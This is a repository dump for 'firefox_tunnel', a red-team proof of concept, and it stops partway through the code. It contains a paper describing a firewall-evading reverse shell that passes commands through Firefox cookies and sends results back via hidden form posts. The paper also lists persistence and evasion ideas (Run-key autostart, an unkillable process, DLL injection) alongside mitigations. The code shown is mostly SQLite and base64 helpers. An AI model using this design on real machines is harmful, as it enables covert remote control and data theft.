\hspace{0.09in}\href{http://doi.acm.org/10.1145/\@ACMarticleDOI}{\icon@DL}% 486 | % \ifx\@ACMarticleDOIsuffix\@ACMempty\else% 487 | % \hspace{0.09in}\href{http://portal.acm.org/ft_gateway.cfm?id=\@ACMarticleDOIsuffix&type=pdf}{\icon@PDF}\fi% 488 | % \ifx\@ACMurlWeb\@ACMempty\else% 489 | % \hspace{0.09in}\href{\@ACMurlWeb}{\icon@Web}\fi% 490 | % \ifx\@ACMurlVideo\@ACMempty\else% 491 | % \hspace{0.09in}\href{\@ACMurlVideo}{\icon@Video}\fi% 492 | % \ifx\@ACMurlData\@ACMempty\else% 493 | % \hspace{0.09in}\href{\@ACMurlData}{\icon@Data}\fi% 494 | % \ifx\@ACMurlCode\@ACMempty\else% 495 | % \hspace{0.09in}\href{\@ACMurlCode}{\icon@Code}\fi% 496 | % \fi% 497 | % }% 498 | % \fi 499 | %} 500 | 501 | % Package hyperref should come late in class file to properly apply to any modified commands. 502 | \RequirePackage{ifpdf} 503 | \ifpdf 504 | \usepackage[pdftex,breaklinks,hyperfootnotes=false,bookmarks=false]{hyperref} 505 | \else 506 | \usepackage[hyperfootnotes=false,bookmarks=false]{hyperref} 507 | \fi 508 | \hypersetup{ 509 | colorlinks=true,linkcolor=black,citecolor=black,urlcolor=black,breaklinks=true 510 | } 511 | 512 | % remove newlines ('\\') from \title when assigning \pdftitle 513 | \pdfstringdefDisableCommands{% 514 | % \let~\textasciitilde 515 | % \def\url{\pdfstringdefWarn\url}% 516 | % \let\textcolor\@gobble 517 | \let\\\@gobble 518 | } 519 | 520 | \AtBeginDocument{% 521 | \if@ACMreview% 522 | \hypersetup{ 523 | pdfcreator={LaTeX acmsiggraph.cls (2014)}, 524 | pdfkeywords={\@ACMkeywords}, 525 | pdftitle={\@title}, 526 | }% 527 | \else% 528 | \hypersetup{ 529 | pdfcreator={LaTeX acmsiggraph.cls (2014)}, 530 | pdfkeywords={\@ACMkeywords}, 531 | pdftitle={\@title}, 532 | pdfauthor={\@ACMpdfauthor}, 533 | }% 534 | \fi 535 | } 536 | 537 | %% end of file 538 | \endinput 539 | -------------------------------------------------------------------------------- /doc/paper/firefox_tunnel.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/doc/paper/firefox_tunnel.pdf -------------------------------------------------------------------------------- /doc/paper/images/fox_pixabay.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/doc/paper/images/fox_pixabay.jpg -------------------------------------------------------------------------------- /doc/paper/images/tunnel4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/doc/paper/images/tunnel4.png -------------------------------------------------------------------------------- /doc/paper/images/tunnel8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/doc/paper/images/tunnel8.png -------------------------------------------------------------------------------- /doc/paper/template.bib: -------------------------------------------------------------------------------- 1 | @misc{ceres-solver, 2 | author = "Authors: Allen, Grant, Owens, Mike ", 3 | title = "The Definitive Guide to SQLite", 4 | howpublished = "\url{https://www.apress.com/br/book/9781430232254}", 5 | } 6 | 7 | @misc{For-firefox-study, 8 | author = "Nigel McFarlane", 9 | title = "Firefox Hacks", 10 | howpublished = "\url{https://www.safaribooksonline.com/library/view/firefox-hacks/0596009283}", 11 | } 12 | 13 | @misc{For-linux-study, 14 | author = "Robert Love", 15 | title = "Linux System Programming", 16 | howpublished = "\url{https://www.safaribooksonline.com/library/view/linux-system-programming/9781449341527}", 17 | } 18 | 19 | @misc{For-windows-study, 20 | author = "Authors: Elias Bachaalany, Joxean Koret", 21 | title = "The Antivirus Hacker's Handbook", 22 | howpublished = "\url{http://shop.oreilly.com/product/9781119028758.do}", 23 | } 24 | 25 | @misc{For-bitwise-study, 26 | author = "Henry S. Warren Jr.", 27 | title = "Hackers delight", 28 | howpublished = "\url{http://www.hackersdelight.org/}", 29 | } 30 | 31 | @misc{For-cpp-develop, 32 | author = "Bjarne Stroustrup", 33 | title = "Programming -- Principles and Practice Using C++", 34 | howpublished = "\url{http://www.stroustrup.com/programming.html}", 35 | } 36 | 37 | @misc{For-php-develop, 38 | author = "Authors: Rasmus Lerdorf, Kevin Tatroe, Peter MacIntyre", 39 | title = "Programming PHP", 40 | howpublished = "\url{http://shop.oreilly.com/product/0636920012443.do}", 41 | } 42 | 43 | @misc{For-javascript-develop, 44 | author = "David Flanagan", 45 | title = "JavaScript: The Definitive Guide", 46 | howpublished = "\url{http://shop.oreilly.com/product/9780596805531.do}", 47 | } -------------------------------------------------------------------------------- /doc/paper/template.tex: -------------------------------------------------------------------------------- 1 | %%% template.tex 2 | %%% 3 | %%% This LaTeX source document can be used as the basis for your technical 4 | %%% paper or abstract. 5 | 6 | %%% The parameter to the ``documentclass'' command is very important. 7 | %%% - use ``review'' for content submitted for review. 8 | %%% - use ``preprint'' for accepted content you are making available. 9 | %%% - use ``tog'' for technical papers accepted to the TOG journal and 10 | %%% for presentation at the SIGGRAPH or SIGGRAPH Asia conference. 11 | %%% - use ``conference'' for final content accepted to a sponsored event 12 | %%% (hint: If you don't know, you should use ``conference.'') 13 | 14 | \documentclass[tog]{acmsiggraph} 15 | 16 | %%% Make the ``BibTeX'' word pretty... 17 | 18 | \def\BibTeX{{\rm B\kern-.05em{\sc i\kern-.025em b}\kern-.08em 19 | T\kern-.1667em\lower.7ex\hbox{E}\kern-.125emX}} 20 | 21 | %%% Used by the ``review'' variation; the online ID will be printed on 22 | %%% every page of the content. 23 | 24 | \TOGonlineid{45678} 25 | 26 | %%% Used by the ``preprint'' variation. 27 | 28 | \TOGvolume{0} 29 | \TOGnumber{0} 30 | 31 | \title{Firefox tunnel to bypass any firewall} 32 | 33 | \author{Antonio Costa aka CoolerVoid - {e-mail:coolerlair@gmail.com or acosta@conviso.com.br}} 34 | \pdfauthor{CoolerVoid} 35 | 36 | \keywords{red team, hacking, security, evasion,bypass firewall} 37 | 38 | \begin{document} 39 | 40 | %%% This is the ``teaser'' command, which puts an figure, centered, below 41 | %%% the title and author information, and above the body of the content. 42 | 43 | \teaser{ 44 | \includegraphics[height=3.0in]{images/fox_pixabay.jpg} 45 | \caption{Fox on tunnel by pixabay} 46 | } 47 | 48 | \maketitle 49 | 50 | \begin{abstract} 51 | 52 | A crucial element for the Red Team’s task is having stealth to perform the attack, success in the ability to expose an aggressive mindset and a true cracker’s point of view. If the red team win, they can help building a better defense for the Blue Team in the future. This content is meant for good purposes, don't worry. 53 | 54 | At this paper, the content is about a different attack approach to get remote control of the machine and bypass the firewall.  We have a lot of weapons to work in that perspective, something like veil framework, msfvenom...  but sometimes following different  path,  will generally bring good result 55 | \end{abstract} 56 | 57 | 58 | 59 | \keywordlist 60 | 61 | %% Required for all content. 62 | 63 | 64 | \section{The Basics of the attack } 65 | The objective of the attack is to use Firefox to make all the communications between the client and the server by using hookings. This is not impossible, yet DLL injection sometimes can be boring to implement and even harder to make it portable. Did you know that x32 and x64 architecture need different approaches for development? (later I discovered that easyhook api can solve that). 66 | I was studying the firefox internals, reading something about the use of SQLite to work with cookies, that give to me a different focus. 67 | 68 | 69 | Look that following: 70 | 71 | \includegraphics[height=2.5in]{images/tunnel4.png} 72 | 73 | 74 | 75 | \section{Create the attack} 76 | 77 | To create a program like firefox tunnel. These are the steps to get started: 78 | \begin{itemize} 79 | \item The program calls Firefox Browser in hidden mode, sends a URL that contains an evil server and finally that evil server sends a cookie with a command. 80 | \item Tunnel gets the cookie of evil server (cookie.sqlite) and uses that to call a command shell. 81 | \item The result of command shell is used to write an HTML with javascript to make auto submit with the content result. 82 | \item The Programm opens HTML in hidden mode to send the result of CMD to the evil server. 83 | \end{itemize} 84 | 85 | Look that following: 86 | 87 | \includegraphics[height=2.5in]{images/tunnel8.png} 88 | 89 | 90 | 91 | \section{The proof of concept} 92 | 93 | In order to see this in action I have created a repository with everything you need and even a PoC. Please check the following link: 94 | {\small\url{https://github.com/convisoappsec/firefox_tunnel}} 95 | 96 | \section{Future insights} 97 | 98 | \begin{itemize} 99 | \item Insert persistence, using function RegOpenKeyEx() to open path “Software/Microsoft/Windows/CurrentVersion/Run” and write with function RegSetValueEx() to launches a program automatically at system startup. 100 | \item Use images in I/O using steganography. 101 | \item Running process in hidden mode. 102 | \item Turn tunnel unkillable process. 103 | \item Create DLL to inject in system process. 104 | \item Function to search different firefox binary path to execute. 105 | \item Make portable to others browsers like chrome and IE. 106 | \end{itemize} 107 | 108 | \section{Possible mitigations} 109 | 110 | \begin{itemize} 111 | \item Global hooking, to get OpenFile(), CreateFIle() functions and filter argv “cookie.sqlite” and block when programm route is different of firefox.exe. 112 | \item File watch api to monitor the database of cookies. 113 | \item Programm to open database of cookies by periodicity and search evil domain or hosts using query SELECT, that can use black list and uses DELETE query to remove the evil cookie. 114 | \item Put firefox directory in different path. 115 | \item Change firefox name of binary file. 116 | \item Programm to hooking SQLite and block non common querys. 117 | \item Consult us for more ideas. 118 | \end{itemize} 119 | 120 | 121 | \section{Contact Information} 122 | 123 | If you have questions or suggestions regarding this document, please 124 | contact Antonio Costa at ``coolerlair@gmail.com'' or ``acosta@conviso.com.br''. 125 | 126 | \section*{Acknowledgements} 127 | 128 | Nash Leon for introducing me about headless trick. 129 | 130 | Daniel Bermudez, Wagner Elias, Luan Souza aka p4ck4g3 for revision‏ 131 | 132 | \bibliographystyle{acmsiggraph} 133 | \nocite{*} 134 | \bibliography{template} 135 | \end{document} 136 | -------------------------------------------------------------------------------- /server/Firefox_Tunnel_unix/bin/firefox_tunnel: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/server/Firefox_Tunnel_unix/bin/firefox_tunnel -------------------------------------------------------------------------------- /server/Firefox_Tunnel_unix/bin/firefox_tunnel.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/server/Firefox_Tunnel_unix/bin/firefox_tunnel.exe -------------------------------------------------------------------------------- /server/Firefox_Tunnel_unix/bin/output.html: -------------------------------------------------------------------------------- 1 |
result
-------------------------------------------------------------------------------- /server/Firefox_Tunnel_unix/bin/tmp_cmd.log: -------------------------------------------------------------------------------- 1 | Volume in drive C has no label. 2 | Volume Serial Number is B0E6-F00B 3 | 4 | Directory of c:\ 5 | 6 | 06/10/2009 01:42 PM 24 autoexec.bat 7 | 06/10/2009 01:42 PM 10 config.sys 8 | 05/27/2017 05:16 AM cygwin 9 | 12/16/2017 07:18 PM MinGW 10 | 07/13/2009 06:37 PM PerfLogs 11 | 12/17/2017 03:54 PM Program Files 12 | 05/26/2017 01:24 AM Users 13 | 05/25/2017 10:57 PM Windows 14 | 2 File(s) 34 bytes 15 | 6 Dir(s) 998,051,840 bytes free 16 | -------------------------------------------------------------------------------- /server/Firefox_Tunnel_unix/makefile: -------------------------------------------------------------------------------- 1 | CC=c++ 2 | st=-std=c++11 -lpthread -ldl -Wl,-z,relro,-z,now -fstack-protector-all 3 | 4 | firefoxtunnel: src/firefox_tunnel.cpp 5 | gcc -c src/lib/sqlite3.c 6 | $(CC) -c src/*.cpp $(st) 7 | $(CC) -o bin/firefox_tunnel *.o $(st) 8 | 9 | -------------------------------------------------------------------------------- /server/Firefox_Tunnel_unix/readme_start.txt: -------------------------------------------------------------------------------- 1 | version for linux and unix like... 2 | 3 | Compile with command: 4 | make 5 | 6 | -------------------------------------------------------------------------------- /server/Firefox_Tunnel_unix/src/firefox_tunnel.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | Firefox's cookies reverse shell - PoC version - THis is Server 3 | Coded by CoolerVoid - 17/12/2017 4 | 5 | To compile: 6 | c++ -o test test.cpp utils.cpp sqlite.o 7 | 8 | 9 | */ 10 | #include 11 | #include 12 | #include 13 | #include "utils.h" 14 | using namespace std; 15 | 16 | int main() 17 | { 18 | cout << "\nFirefox remote tunnel\nby CoolerVoid\n" <aggregate_context 320 | #ifndef SQLITE_OMIT_DEPRECATED 321 | #define sqlite3_aggregate_count sqlite3_api->aggregate_count 322 | #endif 323 | #define sqlite3_bind_blob sqlite3_api->bind_blob 324 | #define sqlite3_bind_double sqlite3_api->bind_double 325 | #define sqlite3_bind_int sqlite3_api->bind_int 326 | #define sqlite3_bind_int64 sqlite3_api->bind_int64 327 | #define sqlite3_bind_null sqlite3_api->bind_null 328 | #define sqlite3_bind_parameter_count sqlite3_api->bind_parameter_count 329 | #define sqlite3_bind_parameter_index sqlite3_api->bind_parameter_index 330 | #define sqlite3_bind_parameter_name sqlite3_api->bind_parameter_name 331 | #define sqlite3_bind_text sqlite3_api->bind_text 332 | #define sqlite3_bind_text16 sqlite3_api->bind_text16 333 | #define sqlite3_bind_value sqlite3_api->bind_value 334 | #define sqlite3_busy_handler sqlite3_api->busy_handler 335 | #define sqlite3_busy_timeout sqlite3_api->busy_timeout 336 | #define sqlite3_changes sqlite3_api->changes 337 | #define sqlite3_close sqlite3_api->close 338 | #define sqlite3_collation_needed sqlite3_api->collation_needed 339 | #define sqlite3_collation_needed16 sqlite3_api->collation_needed16 340 | #define sqlite3_column_blob sqlite3_api->column_blob 341 | #define sqlite3_column_bytes sqlite3_api->column_bytes 342 | #define sqlite3_column_bytes16 sqlite3_api->column_bytes16 343 | #define sqlite3_column_count sqlite3_api->column_count 344 | #define sqlite3_column_database_name sqlite3_api->column_database_name 345 | #define sqlite3_column_database_name16 sqlite3_api->column_database_name16 346 | #define sqlite3_column_decltype sqlite3_api->column_decltype 347 | #define sqlite3_column_decltype16 sqlite3_api->column_decltype16 348 | #define sqlite3_column_double sqlite3_api->column_double 349 | #define sqlite3_column_int sqlite3_api->column_int 350 | #define sqlite3_column_int64 sqlite3_api->column_int64 351 | #define sqlite3_column_name sqlite3_api->column_name 352 | #define sqlite3_column_name16 sqlite3_api->column_name16 353 | #define sqlite3_column_origin_name sqlite3_api->column_origin_name 354 | #define sqlite3_column_origin_name16 sqlite3_api->column_origin_name16 355 | #define sqlite3_column_table_name sqlite3_api->column_table_name 356 | #define sqlite3_column_table_name16 sqlite3_api->column_table_name16 357 | #define sqlite3_column_text sqlite3_api->column_text 358 | #define sqlite3_column_text16 sqlite3_api->column_text16 359 | #define sqlite3_column_type sqlite3_api->column_type 360 | #define sqlite3_column_value sqlite3_api->column_value 361 | #define sqlite3_commit_hook sqlite3_api->commit_hook 362 | #define sqlite3_complete sqlite3_api->complete 363 | #define sqlite3_complete16 sqlite3_api->complete16 364 | #define sqlite3_create_collation sqlite3_api->create_collation 365 | #define sqlite3_create_collation16 sqlite3_api->create_collation16 366 | #define sqlite3_create_function sqlite3_api->create_function 367 | #define sqlite3_create_function16 sqlite3_api->create_function16 368 | #define sqlite3_create_module sqlite3_api->create_module 369 | #define sqlite3_create_module_v2 sqlite3_api->create_module_v2 370 | #define sqlite3_data_count sqlite3_api->data_count 371 | #define sqlite3_db_handle sqlite3_api->db_handle 372 | #define sqlite3_declare_vtab sqlite3_api->declare_vtab 373 | #define sqlite3_enable_shared_cache sqlite3_api->enable_shared_cache 374 | #define sqlite3_errcode sqlite3_api->errcode 375 | #define sqlite3_errmsg sqlite3_api->errmsg 376 | #define sqlite3_errmsg16 sqlite3_api->errmsg16 377 | #define sqlite3_exec sqlite3_api->exec 378 | #ifndef SQLITE_OMIT_DEPRECATED 379 | #define sqlite3_expired sqlite3_api->expired 380 | #endif 381 | #define sqlite3_finalize sqlite3_api->finalize 382 | #define sqlite3_free sqlite3_api->free 383 | #define sqlite3_free_table sqlite3_api->free_table 384 | #define sqlite3_get_autocommit sqlite3_api->get_autocommit 385 | #define sqlite3_get_auxdata sqlite3_api->get_auxdata 386 | #define sqlite3_get_table sqlite3_api->get_table 387 | #ifndef SQLITE_OMIT_DEPRECATED 388 | #define sqlite3_global_recover sqlite3_api->global_recover 389 | #endif 390 | #define sqlite3_interrupt sqlite3_api->interruptx 391 | #define sqlite3_last_insert_rowid sqlite3_api->last_insert_rowid 392 | #define sqlite3_libversion sqlite3_api->libversion 393 | #define sqlite3_libversion_number sqlite3_api->libversion_number 394 | #define sqlite3_malloc sqlite3_api->malloc 395 | #define sqlite3_mprintf sqlite3_api->mprintf 396 | #define sqlite3_open sqlite3_api->open 397 | #define sqlite3_open16 sqlite3_api->open16 398 | #define sqlite3_prepare sqlite3_api->prepare 399 | #define sqlite3_prepare16 sqlite3_api->prepare16 400 | #define sqlite3_prepare_v2 sqlite3_api->prepare_v2 401 | #define sqlite3_prepare16_v2 sqlite3_api->prepare16_v2 402 | #define sqlite3_profile sqlite3_api->profile 403 | #define sqlite3_progress_handler sqlite3_api->progress_handler 404 | #define sqlite3_realloc sqlite3_api->realloc 405 | #define sqlite3_reset sqlite3_api->reset 406 | #define sqlite3_result_blob sqlite3_api->result_blob 407 | #define sqlite3_result_double sqlite3_api->result_double 408 | #define sqlite3_result_error sqlite3_api->result_error 409 | #define sqlite3_result_error16 sqlite3_api->result_error16 410 | #define sqlite3_result_int sqlite3_api->result_int 411 | #define sqlite3_result_int64 sqlite3_api->result_int64 412 | #define sqlite3_result_null sqlite3_api->result_null 413 | #define sqlite3_result_text sqlite3_api->result_text 414 | #define sqlite3_result_text16 sqlite3_api->result_text16 415 | #define sqlite3_result_text16be sqlite3_api->result_text16be 416 | #define sqlite3_result_text16le sqlite3_api->result_text16le 417 | #define sqlite3_result_value sqlite3_api->result_value 418 | #define sqlite3_rollback_hook sqlite3_api->rollback_hook 419 | #define sqlite3_set_authorizer sqlite3_api->set_authorizer 420 | #define sqlite3_set_auxdata sqlite3_api->set_auxdata 421 | #define sqlite3_snprintf sqlite3_api->xsnprintf 422 | #define sqlite3_step sqlite3_api->step 423 | #define sqlite3_table_column_metadata sqlite3_api->table_column_metadata 424 | #define sqlite3_thread_cleanup sqlite3_api->thread_cleanup 425 | #define sqlite3_total_changes sqlite3_api->total_changes 426 | #define sqlite3_trace sqlite3_api->trace 427 | #ifndef SQLITE_OMIT_DEPRECATED 428 | #define sqlite3_transfer_bindings sqlite3_api->transfer_bindings 429 | #endif 430 | #define sqlite3_update_hook sqlite3_api->update_hook 431 | #define sqlite3_user_data sqlite3_api->user_data 432 | #define sqlite3_value_blob sqlite3_api->value_blob 433 | #define sqlite3_value_bytes sqlite3_api->value_bytes 434 | #define sqlite3_value_bytes16 sqlite3_api->value_bytes16 435 | #define sqlite3_value_double sqlite3_api->value_double 436 | #define sqlite3_value_int sqlite3_api->value_int 437 | #define sqlite3_value_int64 sqlite3_api->value_int64 438 | #define sqlite3_value_numeric_type sqlite3_api->value_numeric_type 439 | #define sqlite3_value_text sqlite3_api->value_text 440 | #define sqlite3_value_text16 sqlite3_api->value_text16 441 | #define sqlite3_value_text16be sqlite3_api->value_text16be 442 | #define sqlite3_value_text16le sqlite3_api->value_text16le 443 | #define sqlite3_value_type sqlite3_api->value_type 444 | #define sqlite3_vmprintf sqlite3_api->vmprintf 445 | #define sqlite3_vsnprintf sqlite3_api->xvsnprintf 446 | #define sqlite3_overload_function sqlite3_api->overload_function 447 | #define sqlite3_prepare_v2 sqlite3_api->prepare_v2 448 | #define sqlite3_prepare16_v2 sqlite3_api->prepare16_v2 449 | #define sqlite3_clear_bindings sqlite3_api->clear_bindings 450 | #define sqlite3_bind_zeroblob sqlite3_api->bind_zeroblob 451 | #define sqlite3_blob_bytes sqlite3_api->blob_bytes 452 | #define sqlite3_blob_close sqlite3_api->blob_close 453 | #define sqlite3_blob_open sqlite3_api->blob_open 454 | #define sqlite3_blob_read sqlite3_api->blob_read 455 | #define sqlite3_blob_write sqlite3_api->blob_write 456 | #define sqlite3_create_collation_v2 sqlite3_api->create_collation_v2 457 | #define sqlite3_file_control sqlite3_api->file_control 458 | #define sqlite3_memory_highwater sqlite3_api->memory_highwater 459 | #define sqlite3_memory_used sqlite3_api->memory_used 460 | #define sqlite3_mutex_alloc sqlite3_api->mutex_alloc 461 | #define sqlite3_mutex_enter sqlite3_api->mutex_enter 462 | #define sqlite3_mutex_free sqlite3_api->mutex_free 463 | #define sqlite3_mutex_leave sqlite3_api->mutex_leave 464 | #define sqlite3_mutex_try sqlite3_api->mutex_try 465 | #define sqlite3_open_v2 sqlite3_api->open_v2 466 | #define sqlite3_release_memory sqlite3_api->release_memory 467 | #define sqlite3_result_error_nomem sqlite3_api->result_error_nomem 468 | #define sqlite3_result_error_toobig sqlite3_api->result_error_toobig 469 | #define sqlite3_sleep sqlite3_api->sleep 470 | #define sqlite3_soft_heap_limit sqlite3_api->soft_heap_limit 471 | #define sqlite3_vfs_find sqlite3_api->vfs_find 472 | #define sqlite3_vfs_register sqlite3_api->vfs_register 473 | #define sqlite3_vfs_unregister sqlite3_api->vfs_unregister 474 | #define sqlite3_threadsafe sqlite3_api->xthreadsafe 475 | #define sqlite3_result_zeroblob sqlite3_api->result_zeroblob 476 | #define sqlite3_result_error_code sqlite3_api->result_error_code 477 | #define sqlite3_test_control sqlite3_api->test_control 478 | #define sqlite3_randomness sqlite3_api->randomness 479 | #define sqlite3_context_db_handle sqlite3_api->context_db_handle 480 | #define sqlite3_extended_result_codes sqlite3_api->extended_result_codes 481 | #define sqlite3_limit sqlite3_api->limit 482 | #define sqlite3_next_stmt sqlite3_api->next_stmt 483 | #define sqlite3_sql sqlite3_api->sql 484 | #define sqlite3_status sqlite3_api->status 485 | #define sqlite3_backup_finish sqlite3_api->backup_finish 486 | #define sqlite3_backup_init sqlite3_api->backup_init 487 | #define sqlite3_backup_pagecount sqlite3_api->backup_pagecount 488 | #define sqlite3_backup_remaining sqlite3_api->backup_remaining 489 | #define sqlite3_backup_step sqlite3_api->backup_step 490 | #define sqlite3_compileoption_get sqlite3_api->compileoption_get 491 | #define sqlite3_compileoption_used sqlite3_api->compileoption_used 492 | #define sqlite3_create_function_v2 sqlite3_api->create_function_v2 493 | #define sqlite3_db_config sqlite3_api->db_config 494 | #define sqlite3_db_mutex sqlite3_api->db_mutex 495 | #define sqlite3_db_status sqlite3_api->db_status 496 | #define sqlite3_extended_errcode sqlite3_api->extended_errcode 497 | #define sqlite3_log sqlite3_api->log 498 | #define sqlite3_soft_heap_limit64 sqlite3_api->soft_heap_limit64 499 | #define sqlite3_sourceid sqlite3_api->sourceid 500 | #define sqlite3_stmt_status sqlite3_api->stmt_status 501 | #define sqlite3_strnicmp sqlite3_api->strnicmp 502 | #define sqlite3_unlock_notify sqlite3_api->unlock_notify 503 | #define sqlite3_wal_autocheckpoint sqlite3_api->wal_autocheckpoint 504 | #define sqlite3_wal_checkpoint sqlite3_api->wal_checkpoint 505 | #define sqlite3_wal_hook sqlite3_api->wal_hook 506 | #define sqlite3_blob_reopen sqlite3_api->blob_reopen 507 | #define sqlite3_vtab_config sqlite3_api->vtab_config 508 | #define sqlite3_vtab_on_conflict sqlite3_api->vtab_on_conflict 509 | /* Version 3.7.16 and later */ 510 | #define sqlite3_close_v2 sqlite3_api->close_v2 511 | #define sqlite3_db_filename sqlite3_api->db_filename 512 | #define sqlite3_db_readonly sqlite3_api->db_readonly 513 | #define sqlite3_db_release_memory sqlite3_api->db_release_memory 514 | #define sqlite3_errstr sqlite3_api->errstr 515 | #define sqlite3_stmt_busy sqlite3_api->stmt_busy 516 | #define sqlite3_stmt_readonly sqlite3_api->stmt_readonly 517 | #define sqlite3_stricmp sqlite3_api->stricmp 518 | #define sqlite3_uri_boolean sqlite3_api->uri_boolean 519 | #define sqlite3_uri_int64 sqlite3_api->uri_int64 520 | #define sqlite3_uri_parameter sqlite3_api->uri_parameter 521 | #define sqlite3_uri_vsnprintf sqlite3_api->xvsnprintf 522 | #define sqlite3_wal_checkpoint_v2 sqlite3_api->wal_checkpoint_v2 523 | /* Version 3.8.7 and later */ 524 | #define sqlite3_auto_extension sqlite3_api->auto_extension 525 | #define sqlite3_bind_blob64 sqlite3_api->bind_blob64 526 | #define sqlite3_bind_text64 sqlite3_api->bind_text64 527 | #define sqlite3_cancel_auto_extension sqlite3_api->cancel_auto_extension 528 | #define sqlite3_load_extension sqlite3_api->load_extension 529 | #define sqlite3_malloc64 sqlite3_api->malloc64 530 | #define sqlite3_msize sqlite3_api->msize 531 | #define sqlite3_realloc64 sqlite3_api->realloc64 532 | #define sqlite3_reset_auto_extension sqlite3_api->reset_auto_extension 533 | #define sqlite3_result_blob64 sqlite3_api->result_blob64 534 | #define sqlite3_result_text64 sqlite3_api->result_text64 535 | #define sqlite3_strglob sqlite3_api->strglob 536 | /* Version 3.8.11 and later */ 537 | #define sqlite3_value_dup sqlite3_api->value_dup 538 | #define sqlite3_value_free sqlite3_api->value_free 539 | #define sqlite3_result_zeroblob64 sqlite3_api->result_zeroblob64 540 | #define sqlite3_bind_zeroblob64 sqlite3_api->bind_zeroblob64 541 | /* Version 3.9.0 and later */ 542 | #define sqlite3_value_subtype sqlite3_api->value_subtype 543 | #define sqlite3_result_subtype sqlite3_api->result_subtype 544 | /* Version 3.10.0 and later */ 545 | #define sqlite3_status64 sqlite3_api->status64 546 | #define sqlite3_strlike sqlite3_api->strlike 547 | #define sqlite3_db_cacheflush sqlite3_api->db_cacheflush 548 | /* Version 3.12.0 and later */ 549 | #define sqlite3_system_errno sqlite3_api->system_errno 550 | /* Version 3.14.0 and later */ 551 | #define sqlite3_trace_v2 sqlite3_api->trace_v2 552 | #define sqlite3_expanded_sql sqlite3_api->expanded_sql 553 | /* Version 3.18.0 and later */ 554 | #define sqlite3_set_last_insert_rowid sqlite3_api->set_last_insert_rowid 555 | /* Version 3.20.0 and later */ 556 | #define sqlite3_prepare_v3 sqlite3_api->prepare_v3 557 | #define sqlite3_prepare16_v3 sqlite3_api->prepare16_v3 558 | #define sqlite3_bind_pointer sqlite3_api->bind_pointer 559 | #define sqlite3_result_pointer sqlite3_api->result_pointer 560 | #define sqlite3_value_pointer sqlite3_api->value_pointer 561 | #endif /* !defined(SQLITE_CORE) && !defined(SQLITE_OMIT_LOAD_EXTENSION) */ 562 | 563 | #if !defined(SQLITE_CORE) && !defined(SQLITE_OMIT_LOAD_EXTENSION) 564 | /* This case when the file really is being compiled as a loadable 565 | ** extension */ 566 | # define SQLITE_EXTENSION_INIT1 const sqlite3_api_routines *sqlite3_api=0; 567 | # define SQLITE_EXTENSION_INIT2(v) sqlite3_api=v; 568 | # define SQLITE_EXTENSION_INIT3 \ 569 | extern const sqlite3_api_routines *sqlite3_api; 570 | #else 571 | /* This case when the file is being statically linked into the 572 | ** application */ 573 | # define SQLITE_EXTENSION_INIT1 /*no-op*/ 574 | # define SQLITE_EXTENSION_INIT2(v) (void)v; /* unused parameter */ 575 | # define SQLITE_EXTENSION_INIT3 /*no-op*/ 576 | #endif 577 | 578 | #endif /* SQLITE3EXT_H */ 579 | -------------------------------------------------------------------------------- /server/Firefox_Tunnel_unix/src/utils.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | Firefox's cookies reverse shell - PoC version - THis is Server! 3 | 4 | Coded by CoolerVoid - 17/12/2017 5 | 6 | read docs 7 | 8 | */ 9 | #include "utils.h" 10 | using namespace std; 11 | 12 | string domain; 13 | 14 | static inline bool is_base64(unsigned char z) 15 | { 16 | return (isalnum(z) || (z == '+') || (z == '/')); 17 | } 18 | 19 | string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) 20 | { 21 | string ret; 22 | int i = 0, j = 0; 23 | unsigned char array1[3], array2[4]; 24 | 25 | while(in_len--) 26 | { 27 | array1[i++] = *(bytes_to_encode++); 28 | if(i == 3) 29 | { 30 | array2[0] = (array1[0] & 0xfc) >> 2; 31 | array2[1] = ((array1[0] & 0x03) << 4) + ((array1[1] & 0xf0) >> 4); 32 | array2[2] = ((array1[1] & 0x0f) << 2) + ((array1[2] & 0xc0) >> 6); 33 | array2[3] = array1[2] & 0x3f; 34 | 35 | for(i = 0; (i <4) ; i++) 36 | ret += base64_chars[array2[i]]; 37 | i = 0; 38 | } 39 | } 40 | 41 | if(i) 42 | { 43 | for(j = i; j < 3; j++) 44 | array1[j] = '\0'; 45 | 46 | array2[0] = (array1[0] & 0xfc) >> 2; 47 | array2[1] = ((array1[0] & 0x03) << 4) + ((array1[1] & 0xf0) >> 4); 48 | array2[2] = ((array1[1] & 0x0f) << 2) + ((array1[2] & 0xc0) >> 6); 49 | array2[3] = array1[2] & 0x3f; 50 | 51 | for(j = 0; (j < i + 1); j++) 52 | ret += base64_chars[array2[j]]; 53 | 54 | while((i++ < 3)) 55 | ret += '='; 56 | 57 | } 58 | 59 | return ret; 60 | 61 | } 62 | 63 | string base64_decode(string const& encoded_string) 64 | { 65 | int in_len = encoded_string.size(),i = 0,j = 0,in_ = 0; 66 | unsigned char array1[3], array2[4]; 67 | string ret; 68 | 69 | while(in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) 70 | { 71 | array2[i++] = encoded_string[in_]; in_++; 72 | if(i==4) 73 | { 74 | for (i = 0; i <4; i++) 75 | array2[i] = base64_chars.find(array2[i]); 76 | 77 | array1[0] = (array2[0] << 2) + ((array2[1] & 0x30) >> 4); 78 | array1[1] = ((array2[1] & 0xf) << 4) + ((array2[2] & 0x3c) >> 2); 79 | array1[2] = ((array2[2] & 0x3) << 6) + array2[3]; 80 | 81 | for (i = 0; (i < 3); i++) 82 | ret += array1[i]; 83 | i = 0; 84 | } 85 | } 86 | 87 | if(i) 88 | { 89 | for(j = i; j <4; j++) 90 | array2[j] = 0; 91 | 92 | for(j = 0; j <4; j++) 93 | 